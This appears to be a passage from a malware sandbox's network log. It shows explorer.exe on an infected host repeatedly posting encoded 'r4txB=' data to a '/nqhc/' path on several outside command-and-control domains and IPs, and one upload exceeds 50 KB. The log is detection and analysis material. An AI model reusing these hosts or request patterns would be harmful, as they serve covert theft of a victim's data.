Nov 21, 2022 19:24:50.704957008 CET	1945	OUT	Data Raw: 78 47 78 70 70 73 47 32 61 6a 72 47 68 54 7e 34 65 64 56 4d 74 69 6c 2d 73 32 46 79 78 61 38 75 78 54 58 35 4e 51 58 39 4b 38 58 76 54 6f 49 58 64 57 64 4e 4f 6a 35 5a 38 72 65 77 6f 47 4c 5a 6b 55 49 58 79 4c 77 6c 41 75 68 7a 31 7a 43 33 49 5f Data Ascii: xGxppsG2ajrGhT~4edVMtil-s2Fyxa8uxTX5NQX9K8XvToIXdWdNOj5Z8rewoGLZkUIXyLwlAuhz1zC3I_RvPeF7lEDOTqW4VoW9VMlXghTtuLsYz2XMrS8IK0k3nDe3oqISKPv2emdZBQFa9TOptmiM7KrQmfKZRwUpdsdJIDrQK5G5GDCB(2zrnA0Jozyi3oBzvAig3JF15j5WSTYmUrUZ9OHCVcNVTVSApNzSPoL9ZoLjqQ7
Nov 21, 2022 19:24:50.705251932 CET	1948	OUT	Data Raw: 28 55 6c 44 48 6a 49 52 74 6f 42 34 7a 43 69 43 31 47 46 76 4e 43 71 71 70 31 4b 5a 34 4a 48 57 74 33 45 5a 32 4a 58 58 4c 52 79 4f 48 6a 79 41 39 4a 59 39 70 79 4e 51 64 6a 4b 36 36 37 37 49 4e 76 38 46 65 62 39 64 64 35 69 5a 70 38 53 36 6a 58 Data Ascii: (UlDHjIRtoB4zCiC1GFvNCqqp1KZ4JHWt3EZ2JXXLRyOHjyA9JY9pyNQdjK6677INv8Feb9dd5iZp8S6jXW0lz7P5h90pQNYxqsXsTUDlHUbKLdZ7OOgNGshmBa7kp6Xzbrr(EF3ZCtaDqFPPjWXurOQe75rCx55OQJEcRFJKW7AdYTg0X6OQBpQGWFQDMWUhvuUxHvckDj9ovRh18xHaZ9JaxOsvxYC1z2nCgPn8tp6R0nMZ_w

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.11.20	49905	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:24:52.692910910 CET	1953	OUT	GET /nqhc/?r4txB=Jo9Ly5swECirkrz+Q2kB1mJjI2FdxMCd6ppqF2nJOFmXYuV8xeQe4DXLVR0s/AtaPMk93SVGZaQ/v2g/wIz4PNYN1ua2MlcQRg==&1b=S8jD HTTP/1.1 Host: www.botbillionsblaze.website Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:24:52.721621037 CET	1953	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Nov 2022 18:24:52 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.11.20	49831	154.204.24.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:20:31.718878984 CET	555	OUT	POST /nqhc/ HTTP/1.1 Host: www.youlian.fund Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.youlian.fund User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.youlian.fund/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 42 6d 47 30 73 32 7a 6e 35 58 66 6d 68 6e 34 57 6e 49 47 34 4a 6e 41 58 7a 31 77 35 44 51 34 6b 73 72 68 32 4d 43 38 48 4e 53 41 55 74 4e 70 4f 31 4d 52 4a 78 6c 72 45 43 5f 4d 46 62 35 41 6f 35 64 59 53 42 4b 4e 6a 46 79 71 6a 48 6b 4b 77 4a 43 32 59 34 4e 64 6e 35 36 78 6f 74 6c 72 47 4c 79 45 35 6a 78 46 58 62 52 58 44 39 65 4c 59 31 50 6d 41 45 71 4e 30 5a 38 36 43 72 72 43 42 63 74 28 67 64 2d 61 4e 56 33 76 6e 32 79 59 39 6a 74 44 6a 66 49 4b 70 4f 73 52 78 73 6e 31 4d 6a 6a 43 78 45 6b 54 58 43 44 34 52 31 35 51 32 78 4c 7e 79 6c 54 48 48 36 53 58 79 67 54 50 42 74 73 44 30 6e 4b 4a 77 70 57 74 70 54 6a 74 56 61 6d 7a 5a 54 78 39 51 4a 66 32 62 4c 6a 68 55 48 6b 56 45 71 66 35 5f 62 36 72 54 6e 41 33 35 53 73 34 4f 57 44 45 48 74 78 61 71 79 6e 73 75 7a 73 36 52 70 49 4b 58 4f 49 31 41 35 61 4f 69 75 48 54 32 68 57 52 66 70 68 54 75 4e 6f 33 44 71 43 5a 6f 49 56 6d 76 56 39 74 35 78 73 70 67 7a 65 46 33 73 39 50 6e 72 36 43 35 67 67 63 6a 32 48 34 4b 6a 78 33 48 66 51 63 6d 74 34 4e 76 31 72 49 77 79 42 33 36 32 42 31 4c 48 47 67 79 79 4f 62 55 31 35 51 61 77 43 74 4d 4f 63 4f 47 62 50 31 72 52 62 45 31 4f 52 48 5a 6b 63 54 4e 45 77 51 34 58 58 46 63 36 58 62 4c 7a 63 71 79 42 55 49 44 31 65 37 59 43 63 6c 54 28 53 4e 35 6b 34 66 56 37 73 4c 31 77 35 76 4e 54 35 6b 75 45 6e 37 4e 79 46 33 73 54 30 28 73 61 47 6c 66 62 33 72 62 4f 55 43 34 4b 44 35 77 35 51 58 74 34 77 49 69 43 44 31 72 76 74 67 69 79 50 51 68 54 39 75 6c 54 62 76 36 78 6b 43 6b 67 44 4a 30 62 42 41 6d 7a 44 77 54 56 51 6a 72 28 55 4a 6d 7e 33 51 75 67 77 55 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=BmG0s2zn5Xfmhn4WnIG4JnAXz1w5DQ4ksrh2MC8HNSAUtNpO1MRJxlrEC_MFb5Ao5dYSBKNjFyqjHkKwJC2Y4Ndn56xotlrGLyE5jxFXbRXD9eLY1PmAEqN0Z86CrrCBct(gd-aNV3vn2yY9jtDjfIKpOsRxsn1MjjCxEkTXCD4R15Q2xL~ylTHH6SXygTPBtsD0nKJwpWtpTjtVamzZTx9QJf2bLjhUHkVEqf5_b6rTnA35Ss4OWDEHtxaqynsuzs6RpIKXOI1A5aOiuHT2hWRfphTuNo3DqCZoIVmvV9t5xspgzeF3s9Pnr6C5ggcj2H4Kjx3HfQcmt4Nv1rIwyB362B1LHGgyyObU15QawCtMOcOGbP1rRbE1ORHZkcTNEwQ4XXFc6XbLzcqyBUID1e7YCclT(SN5k4fV7sL1w5vNT5kuEn7NyF3sT0(saGlfb3rbOUC4KD5w5QXt4wIiCD1rvtgiyPQhT9ulTbv6xkCkgDJ0bBAmzDwTVQjr(UJm~3QugwU.
Nov 21, 2022 19:20:32.003511906 CET	555	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 21 Nov 2022 18:20:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.11.20	49906	103.63.2.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:24:57.914343119 CET	1954	OUT	POST /nqhc/ HTTP/1.1 Host: www.005404.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.005404.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.005404.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 44 77 6a 55 50 33 65 31 78 6c 31 59 58 46 49 31 6d 47 77 6a 77 76 57 45 28 71 69 64 73 79 31 47 77 59 61 71 57 4a 6b 78 73 5a 77 6e 55 58 79 4b 71 4f 43 6e 46 72 4d 51 70 52 4d 57 57 7a 7a 6a 73 71 49 4b 55 5a 49 71 4d 6d 47 44 51 4e 78 79 6e 67 4b 50 28 51 57 6b 4a 62 63 4f 6e 7a 54 63 36 79 70 38 69 4e 46 35 36 59 35 4f 7e 78 7e 4d 45 54 6b 5a 4a 77 46 66 4e 2d 6b 48 4a 33 37 63 41 49 50 71 51 54 66 4a 70 39 53 71 7a 51 4f 4b 7a 34 30 5f 53 65 6c 32 41 42 6f 70 61 46 77 72 4b 42 50 33 4f 57 61 49 67 39 66 74 78 50 42 53 79 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=DwjUP3e1xl1YXFI1mGwjwvWE(qidsy1GwYaqWJkxsZwnUXyKqOCnFrMQpRMWWzzjsqIKUZIqMmGDQNxyngKP(QWkJbcOnzTc6yp8iNF56Y5O~x~METkZJwFfN-kHJ37cAIPqQTfJp9SqzQOKz40_Sel2ABopaFwrKBP3OWaIg9ftxPBSyQ).
Nov 21, 2022 19:24:58.103648901 CET	1955	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Nov 2022 18:24:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"634bbb43-6cd" Content-Encoding: gzip Data Raw: 33 61 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 15 cb 6e dc 36 f0 9e af 60 59 d4 92 60 9b 92 d6 bb 89 bb 92 16 88 d3 06 08 10 b8 3d a4 a7 20 07 4a e2 4a 74 b8 a4 40 72 1f f2 62 bf a2 87 fe 42 cf 0d d0 63 3f 27 40 fe a2 43 49 eb 95 0d e7 a0 11 e7 3d c3 79 30 ad ed 4a 2c 5e a4 35 a3 e5 22 5d 31 4b 51 51 53 6d 98 cd f0 1f 1f de 5e 5e e3 70 91 5a 6e 05 5b 4c a3 29 ba 55 16 bd 55 6b 59 a6 61 4f 4c 4d a1 79 63 17 7c e9 4b ba e1 15 b5 4a 93 b5 61 fa 75 c5 a4 25 56 bd 57 05 15 ec bd da 32 fd 86 1a e6 07 84 cb 92 ed 7e 5b fa 38 a7 bc 5c e3 00 65 19 ba 8c 83 7d a9 8a f5 aa 53 72 ee 50 86 bf fe f7 e5 db 5f 7f 7f fb f3 df af ff 7c c1 87 34 1c 5c a5 82 cb cf 48 33 91 61 5e 28 89 91 6d 1b 06 e7 15 ad 58 b8 bb ec 69 b5 66 cb 0c d7 d6 36 f3 30 9c ce 48 3c 99 90 f8 ea 9a 4c 67 e1 12 e2 04 3d 02 00 2f 8e f1 3f 38 df 6a 6e 99 90 be e7 05 c9 86 6a 64 4c e6 a5 25 df 20 5e 66 d8 d4 6a 5b 08 25 99 a9 99 ac 76 9c 3a f7 c6 b6 02 fc d7 8c 57 b5 9d a3 38 8a 7e 4a d0 96 97 b6 3e 22 39 2d 3e 57 da 5d db 65 a1 84 d2 73 a4 ab dc 9f cc 66 17 e8 08 82 04 8d a4 1a 65 b8 e5 4a ce 11 97 70 a0 e2 f8 7f 24 a5 59 c3 28 78 7c 2a 03 59 f1 a5 a6 2b 86 e0 c6 94 80 eb aa 32 dc 32 83 d1 8a ea 8a cb 3e d2 2c 1a d0 2e 54 c0 50 a7 93 2b 5d 32 9d e1 08 f7 39 64 d8 25 74 42 a6 11 70 06 0b 03 cb e8 22 c3 67 3f c6 d1 34 01 18 bf 1c c1 09 9c 67 d7 00 a6 af 8e 60 d6 d1 ae 1c ea 24 a7 3f 3b 34 3a 82 11 2d 76 b4 4e c4 81 91 da ab 04 32 0c fb 14 e1 00 c5 81 32 ba 22 0c 9d 60 d9 ce 86 85 31 78 e1 9a 7b df 97 a2 2b cb 50 23 77 3e e4 aa 6c d1 77 98 89 da 30 bd 14 6a 3b af 79 59 32 e9 9a cf 39 58 78 09 db 50 e1 e3 c7 ed e2 7b f8 dc 98 73 0c 2d 83 83 c4 ea 76 0f f3 f3 4e 5a a6 9d f0 72 2d 0b 57 4c 3f d8 3b d6 83 6a c5 ec af 82 b9 8e bf 69 df 95 60 93 6f 5e 0b 81 03 d2 b9 22 25 37 8d a0 6d 86 25 f4 1b 3e 14 d4 16 b5 cf 82 fd 61 a9 b4 ef 3a 93 67 51 c2 d3 07 73 2e 1f 52 d4 5c 94 9a 49 22 a0 3f 6d 9d f0 f3 f3 de ab 53 b0 b4 92 50 e1 ec 79 95 8f fc 13 01 89 5b 90 e8 1a 7f d5 42 c7 7f 5f 94 97 09 cc bc 13 fa a1 9f c3 5f f8 26 c6 67 67 03 e5 b9 49 19 8d f8 a3 60 9d e7 67 73 1e 25 7d 38 5c 40 d5 82 11 e5 b4 0f 86 bd 30 be 68 97 40 de 9c c2 2f 34 4c 0a 1b ae db f7 7a 8d 61 c2 8b b5 fe 5d 2b ab 60 34 b3 2d 2c 27 b5 25 02 96 96 2b 19 69 06 06 81 5a 70 eb 7b 73 2f f8 18 7d 72 99 8f b5 b2 cc 73 9b c6 78 c1 3e 6f 88 1b 87 1e 87 d5 73 7f 4f f2 d2 58 b0 56 90 42 ad 42 b7 bb cc 3a 5f 71 1b 36 6b 53 93 3b e3 25 07 26 0c 7b a4 09 8a 1d f7 be a6 d2 7d 15 e9 76 65 67 e1 a4 d6 ad a7 53 8e a7 7e 32 37 ed 87 be 92 3e ee 53 c5 5d d8 86 34 14 9a c3 de aa 92 c1 1a 86 2d 6d 6f 18 b4 13 f3 f3 e6 c2 04 c9 21 f0 83 e4 e9 bd 8e 87 ea 8e 6e e8 60 10 75 53 df a5 0d d1 de 99 6e e9 1b 32 8b 89 a0 e1 24 9e be 8c 67 57 31 a4 e7 46 f5 b8 b8 c3 ee 95 79 91 ba ea c3 af 80 50 98 5e a4 75 fc f4 6d 01 4a 1a 0e 6c 78 9b 40 66 40 24 ac af dd 88 15 0e a6 c2 ee 19 fb 1f 05 e9 27 15 cd 06 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 3adun6`Y`= JJt@rbBc?'@CI=y0J,^5"]1KQQSm^^pZn[L)UUkYaOLMyc\|KJau%VW2~[8\e}SrP_\|4\H3a^(mXif60H<Lg=/?8jnjdL% ^fj[%v:W8~J>"9->W]esfeJp$Y(x\|*Y+22>,.TP+]29d%tBp"g?4g`$?;4:-vN22"`1x{+P#w>lw0j;yY29XxP{s-vNZr-WL?;ji`o^"%7m%>a:gQs.R\I"?mSPy[B__&ggI`gs%}8\@0h@/4Lza]+`4-,'%+iZp{s/}rsx>osOXVBB:_q6kS;%&{}vegS~27>S]4-mo!n`uSn2$gW1FyP^umJlx@f@$'0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.11.20	49907	103.63.2.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:25:00.118618965 CET	1957	OUT	POST /nqhc/ HTTP/1.1 Host: www.005404.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.005404.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.005404.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 44 77 6a 55 50 33 65 31 78 6c 31 59 56 6c 59 31 32 56 59 6a 79 50 57 48 36 71 69 64 6d 53 30 4e 77 59 57 71 57 4e 39 38 73 73 6f 6e 58 79 4f 4b 34 61 75 6e 45 72 4d 51 6e 78 4d 58 53 7a 79 68 73 71 31 71 55 63 6f 71 4d 6d 43 44 57 34 6c 79 77 67 4b 51 78 77 57 6e 66 72 63 4c 74 54 53 64 36 79 74 61 69 50 35 35 37 70 56 4f 28 7a 6d 4d 41 47 51 65 44 77 45 61 47 65 6b 41 48 58 37 53 41 49 79 66 51 58 54 7a 70 49 53 71 32 41 75 4b 68 49 30 38 59 75 6c 39 4e 68 70 4c 58 46 55 6e 4b 42 6e 4b 5a 6c 37 31 6b 2d 71 65 77 66 4d 4e 71 41 37 71 49 66 37 6c 39 39 4c 5f 68 50 68 30 4b 51 28 55 62 42 4f 6a 50 74 7a 76 5a 34 6d 42 55 48 49 54 68 36 38 72 50 68 59 4e 33 52 5a 78 54 6d 28 56 30 78 78 43 4f 35 41 56 4c 63 4b 79 70 33 4a 71 39 79 45 30 53 48 35 4e 43 4f 51 5f 61 69 34 38 56 4b 6d 4b 32 34 7e 6e 61 43 50 35 4b 57 55 52 74 35 66 43 4b 51 4d 2d 53 45 58 6a 35 72 33 4b 67 70 72 6c 55 66 28 45 66 36 45 5a 6e 70 6d 66 58 37 73 79 48 78 59 53 50 43 57 2d 51 58 46 73 36 38 72 47 79 62 68 43 72 6a 72 56 6a 4f 4b 63 49 4c 33 33 56 35 52 5a 74 50 39 72 4b 31 6e 50 50 32 69 49 79 61 72 6f 42 53 58 72 75 4d 4f 6a 66 42 73 56 4e 47 6a 43 6e 63 6e 61 31 72 45 6a 79 45 58 43 73 47 57 47 73 6d 74 36 38 58 63 56 30 63 4e 37 66 30 4c 75 50 52 62 66 38 58 35 65 51 45 69 6b 56 48 58 55 34 36 44 39 6d 4c 4a 4b 48 39 74 32 51 4e 6f 75 4c 46 41 6f 32 57 78 6f 66 46 47 6f 4f 5f 37 4b 45 32 41 73 30 66 67 58 34 33 6f 6f 4a 58 49 77 74 48 70 56 50 5f 59 32 46 6c 7a 71 59 49 45 76 6c 6b 36 73 47 31 30 46 43 76 5a 6c 79 41 63 49 4c 46 70 58 44 6c 74 47 32 37 45 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=DwjUP3e1xl1YVlY12VYjyPWH6qidmS0NwYWqWN98ssonXyOK4aunErMQnxMXSzyhsq1qUcoqMmCDW4lywgKQxwWnfrcLtTSd6ytaiP557pVO(zmMAGQeDwEaGekAHX7SAIyfQXTzpISq2AuKhI08Yul9NhpLXFUnKBnKZl71k-qewfMNqA7qIf7l99L_hPh0KQ(UbBOjPtzvZ4mBUHITh68rPhYN3RZxTm(V0xxCO5AVLcKyp3Jq9yE0SH5NCOQ_ai48VKmK24~naCP5KWURt5fCKQM-SEXj5r3KgprlUf(Ef6EZnpmfX7syHxYSPCW-QXFs68rGybhCrjrVjOKcIL33V5RZtP9rK1nPP2iIyaroBSXruMOjfBsVNGjCncna1rEjyEXCsGWGsmt68XcV0cN7f0LuPRbf8X5eQEikVHXU46D9mLJKH9t2QNouLFAo2WxofFGoO_7KE2As0fgX43ooJXIwtHpVP_Y2FlzqYIEvlk6sG10FCvZlyAcILFpXDltG27E.
Nov 21, 2022 19:25:00.294034004 CET	1958	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Nov 2022 18:25:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"634bbb43-6cd" Content-Encoding: gzip Data Raw: 33 61 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 15 cb 6e dc 36 f0 9e af 60 59 d4 92 60 9b 92 d6 bb 89 bb 92 16 88 d3 06 08 10 b8 3d a4 a7 20 07 4a e2 4a 74 b8 a4 40 72 1f f2 62 bf a2 87 fe 42 cf 0d d0 63 3f 27 40 fe a2 43 49 eb 95 0d e7 a0 11 e7 3d c3 79 30 ad ed 4a 2c 5e a4 35 a3 e5 22 5d 31 4b 51 51 53 6d 98 cd f0 1f 1f de 5e 5e e3 70 91 5a 6e 05 5b 4c a3 29 ba 55 16 bd 55 6b 59 a6 61 4f 4c 4d a1 79 63 17 7c e9 4b ba e1 15 b5 4a 93 b5 61 fa 75 c5 a4 25 56 bd 57 05 15 ec bd da 32 fd 86 1a e6 07 84 cb 92 ed 7e 5b fa 38 a7 bc 5c e3 00 65 19 ba 8c 83 7d a9 8a f5 aa 53 72 ee 50 86 bf fe f7 e5 db 5f 7f 7f fb f3 df af ff 7c c1 87 34 1c 5c a5 82 cb cf 48 33 91 61 5e 28 89 91 6d 1b 06 e7 15 ad 58 b8 bb ec 69 b5 66 cb 0c d7 d6 36 f3 30 9c ce 48 3c 99 90 f8 ea 9a 4c 67 e1 12 e2 04 3d 02 00 2f 8e f1 3f 38 df 6a 6e 99 90 be e7 05 c9 86 6a 64 4c e6 a5 25 df 20 5e 66 d8 d4 6a 5b 08 25 99 a9 99 ac 76 9c 3a f7 c6 b6 02 fc d7 8c 57 b5 9d a3 38 8a 7e 4a d0 96 97 b6 3e 22 39 2d 3e 57 da 5d db 65 a1 84 d2 73 a4 ab dc 9f cc 66 17 e8 08 82 04 8d a4 1a 65 b8 e5 4a ce 11 97 70 a0 e2 f8 7f 24 a5 59 c3 28 78 7c 2a 03 59 f1 a5 a6 2b 86 e0 c6 94 80 eb aa 32 dc 32 83 d1 8a ea 8a cb 3e d2 2c 1a d0 2e 54 c0 50 a7 93 2b 5d 32 9d e1 08 f7 39 64 d8 25 74 42 a6 11 70 06 0b 03 cb e8 22 c3 67 3f c6 d1 34 01 18 bf 1c c1 09 9c 67 d7 00 a6 af 8e 60 d6 d1 ae 1c ea 24 a7 3f 3b 34 3a 82 11 2d 76 b4 4e c4 81 91 da ab 04 32 0c fb 14 e1 00 c5 81 32 ba 22 0c 9d 60 d9 ce 86 85 31 78 e1 9a 7b df 97 a2 2b cb 50 23 77 3e e4 aa 6c d1 77 98 89 da 30 bd 14 6a 3b af 79 59 32 e9 9a cf 39 58 78 09 db 50 e1 e3 c7 ed e2 7b f8 dc 98 73 0c 2d 83 83 c4 ea 76 0f f3 f3 4e 5a a6 9d f0 72 2d 0b 57 4c 3f d8 3b d6 83 6a c5 ec af 82 b9 8e bf 69 df 95 60 93 6f 5e 0b 81 03 d2 b9 22 25 37 8d a0 6d 86 25 f4 1b 3e 14 d4 16 b5 cf 82 fd 61 a9 b4 ef 3a 93 67 51 c2 d3 07 73 2e 1f 52 d4 5c 94 9a 49 22 a0 3f 6d 9d f0 f3 f3 de ab 53 b0 b4 92 50 e1 ec 79 95 8f fc 13 01 89 5b 90 e8 1a 7f d5 42 c7 7f 5f 94 97 09 cc bc 13 fa a1 9f c3 5f f8 26 c6 67 67 03 e5 b9 49 19 8d f8 a3 60 9d e7 67 73 1e 25 7d 38 5c 40 d5 82 11 e5 b4 0f 86 bd 30 be 68 97 40 de 9c c2 2f 34 4c 0a 1b ae db f7 7a 8d 61 c2 8b b5 fe 5d 2b ab 60 34 b3 2d 2c 27 b5 25 02 96 96 2b 19 69 06 06 81 5a 70 eb 7b 73 2f f8 18 7d 72 99 8f b5 b2 cc 73 9b c6 78 c1 3e 6f 88 1b 87 1e 87 d5 73 7f 4f f2 d2 58 b0 56 90 42 ad 42 b7 bb cc 3a 5f 71 1b 36 6b 53 93 3b e3 25 07 26 0c 7b a4 09 8a 1d f7 be a6 d2 7d 15 e9 76 65 67 e1 a4 d6 ad a7 53 8e a7 7e 32 37 ed 87 be 92 3e ee 53 c5 5d d8 86 34 14 9a c3 de aa 92 c1 1a 86 2d 6d 6f 18 b4 13 f3 f3 e6 c2 04 c9 21 f0 83 e4 e9 bd 8e 87 ea 8e 6e e8 60 10 75 53 df a5 0d d1 de 99 6e e9 1b 32 8b 89 a0 e1 24 9e be 8c 67 57 31 a4 e7 46 f5 b8 b8 c3 ee 95 79 91 ba ea c3 af 80 50 98 5e a4 75 fc f4 6d 01 4a 1a 0e 6c 78 9b 40 66 40 24 ac af dd 88 15 0e a6 c2 ee 19 fb 1f 05 e9 27 15 cd 06 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 3adun6`Y`= JJt@rbBc?'@CI=y0J,^5"]1KQQSm^^pZn[L)UUkYaOLMyc\|KJau%VW2~[8\e}SrP_\|4\H3a^(mXif60H<Lg=/?8jnjdL% ^fj[%v:W8~J>"9->W]esfeJp$Y(x\|*Y+22>,.TP+]29d%tBp"g?4g`$?;4:-vN22"`1x{+P#w>lw0j;yY29XxP{s-vNZr-WL?;ji`o^"%7m%>a:gQs.R\I"?mSPy[B__&ggI`gs%}8\@0h@/4Lza]+`4-,'%+iZp{s/}rsx>osOXVBB:_q6kS;%&{}vegS~27>S]4-mo!n`uSn2$gW1FyP^umJlx@f@$'0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.11.20	49908	103.63.2.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:25:02.334731102 CET	1963	OUT	POST /nqhc/ HTTP/1.1 Host: www.005404.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.005404.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.005404.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 44 77 6a 55 50 33 65 31 78 6c 31 59 56 6c 59 31 32 56 59 6a 79 50 57 48 36 71 69 64 6d 53 30 4e 77 59 57 71 57 4e 39 38 73 73 67 6e 55 48 43 4b 71 72 75 6e 57 62 4d 51 76 52 4d 4b 53 7a 7a 35 73 71 64 31 55 63 31 64 4d 6c 32 44 57 70 31 79 7a 57 57 51 37 51 57 6d 51 4c 63 4a 6e 7a 54 65 36 79 70 30 69 50 74 50 36 59 68 4f 7e 30 43 4d 45 31 34 5a 63 77 46 66 47 65 6b 79 4e 33 37 73 41 49 32 50 51 57 76 7a 70 4c 71 71 31 57 71 4b 79 4f 38 38 52 65 6c 36 47 42 70 41 65 6c 56 66 4b 42 7a 34 5a 6c 36 4b 6b 5f 7e 65 77 64 45 4e 70 42 37 74 50 5f 37 6c 77 64 4c 2d 33 50 64 77 4b 51 6a 79 62 46 47 6a 50 74 4c 76 5a 59 6d 42 66 47 49 63 73 4b 38 74 4c 68 59 57 7a 52 56 35 54 6d 61 79 30 30 42 43 4f 70 45 56 4b 72 57 79 36 57 4a 71 6d 79 45 32 4e 58 35 65 58 2d 51 4b 61 68 41 65 56 4b 48 5f 32 34 61 6e 59 6d 62 35 4f 30 73 53 6b 35 66 41 54 51 4d 52 57 45 4c 52 35 72 48 57 67 70 71 2d 55 61 48 45 66 4b 55 5a 67 6f 6d 63 48 62 73 78 4b 52 59 39 64 43 61 43 51 58 78 30 36 38 6a 57 79 59 4e 43 72 44 72 56 6e 74 69 54 54 4c 33 30 5a 5a 52 78 69 76 38 72 4b 30 62 31 50 33 58 71 79 4c 33 6f 42 69 48 72 72 63 4f 6b 61 68 73 52 4c 32 6a 45 6a 63 6e 61 31 72 49 64 79 45 54 43 73 33 75 47 73 52 52 36 36 46 30 56 79 63 4e 48 66 30 4b 31 50 52 66 6b 38 58 77 39 51 45 54 42 56 45 6e 55 35 76 72 39 6f 71 4a 4a 58 39 74 7a 61 74 6f 31 50 46 45 5f 32 53 70 77 66 42 6d 43 4f 49 4c 4b 46 32 51 73 7e 5f 67 55 39 58 70 42 4f 58 49 71 70 48 6c 4a 50 37 34 48 46 68 36 79 59 4b 45 76 6e 78 36 36 44 6d 51 5f 65 50 64 6c 7e 67 51 6e 44 57 70 62 48 52 52 33 6c 4f 4e 6f 54 45 48 31 30 56 49 53 48 63 79 73 51 62 52 4b 66 30 62 44 78 71 69 49 6d 6c 42 6f 4f 76 36 65 72 58 47 33 50 4a 59 39 6f 54 33 45 62 79 6d 39 70 78 6f 5a 73 65 63 63 6b 75 59 34 68 78 47 53 44 65 74 5f 51 30 4e 6a 6a 62 6c 42 51 67 66 61 4b 33 55 6a 35 59 4f 47 65 50 62 48 4e 31 54 74 59 41 4f 38 6d 79 47 61 31 4d 58 4c 47 76 77 6a 68 55 33 42 36 59 7a 32 7e 47 71 4c 76 56 63 53 72 6c 78 6f 64 4a 6a 78 67 79 6e 43 6f 41 61 4a 68 71 43 55 64 62 30 6b 4b 66 7a 50 44 41 37 71 63 76 6d 31 52 65 6b 4e 75 64 50 77 30 52 74 61 44 33 4f 4a 66 53 31 54 46 48 79 53 67 52 52 56 32 77 6b 41 68 31 35 5f 74 36 55 46 68 31 41 6b 70 73 6a 50 66 33 44 77 7e 62 37 55 79 75 62 75 62 46 4e 39 77 4a 39 67 5a 6b 28 52 4a 4c 4c 65 6d 57 75 4a 31 64 30 4d 59 69 73 4e 44 31 6f 30 4d 68 64 45 41 71 5a 4f 6b 65 73 6b 30 4a 6d 79 58 71 79 50 75 51 37 37 50 46 78 6c 59 5a 72 7a 37 4d 67 4e 75 63 71 78 57 72 61 38 4a 51 52 73 45 4d 36 31 34 73 7e 4f 7a 52 79 5a 77 4e 4c 34 6d 72 58 4a 4b 39 66 79 73 43 49 33 77 52 7a 32 52 7a 7e 38 4d 36 45 45 7e 63 41 55 28 72 7e 51 57 62 53 69 4c 76 77 69 6a 4c 74 45 35 4a 37 50 4e 5f 4e 35 77 69 56 34 50 41 34 59 41 39 79 58 35 73 56 36 46 36 65 62 69 55 53 66 6e 31 6a 41 54 6d 6e 46 50 58 66 78 4e 4e 64 64 78 78 69 32 63 6f 65 47 73 65 64 49 4d 48 64 59 76 4a 4c 70 